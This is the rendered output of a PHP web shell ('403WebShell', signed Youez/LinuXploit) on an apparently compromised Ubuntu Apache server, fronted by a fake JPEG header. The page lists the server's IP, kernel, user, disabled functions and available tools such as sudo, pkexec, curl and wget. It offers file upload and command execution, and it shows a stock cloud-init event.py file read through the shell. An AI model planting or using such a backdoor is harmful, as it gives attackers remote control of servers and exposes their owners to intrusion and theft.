����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 13.58.215.45
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/cloudinit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/cloudinit//event.py
# This file is part of cloud-init. See LICENSE file for license information.
"""Classes and functions related to event handling."""

import logging
from enum import Enum
from typing import Dict, Set

LOG = logging.getLogger(__name__)


class EventScope(Enum):
    # NETWORK is currently the only scope, but we want to leave room to
    # grow other scopes (e.g., STORAGE) without having to make breaking
    # changes to the user config
    NETWORK = "network"

    def __str__(self):  # pylint: disable=invalid-str-returned
        return self.value


class EventType(Enum):
    """Event types which can generate maintenance requests for cloud-init."""

    # Cloud-init should grow support for the follow event types:
    # HOTPLUG
    # METADATA_CHANGE
    # USER_REQUEST

    BOOT = "boot"
    BOOT_NEW_INSTANCE = "boot-new-instance"
    BOOT_LEGACY = "boot-legacy"
    HOTPLUG = "hotplug"

    def __str__(self):  # pylint: disable=invalid-str-returned
        return self.value


def userdata_to_events(user_config: dict) -> Dict[EventScope, Set[EventType]]:
    """Convert userdata into update config format defined on datasource.

    Userdata is in the form of (e.g):
    {'network': {'when': ['boot']}}

    DataSource config is in the form of:
    {EventScope.Network: {EventType.BOOT}}

    Take the first and return the second
    """
    update_config = {}
    for scope, scope_list in user_config.items():
        try:
            new_scope = EventScope(scope)
        except ValueError as e:
            LOG.warning(
                "%s! Update data will be ignored for '%s' scope",
                str(e),
                scope,
            )
            continue
        try:
            new_values = [EventType(x) for x in scope_list["when"]]
        except ValueError as e:
            LOG.warning(
                "%s! Update data will be ignored for '%s' scope",
                str(e),
                scope,
            )
            new_values = []
        update_config[new_scope] = set(new_values)

    return update_config

Youez - 2016 - github.com/yon3zu
LinuXploit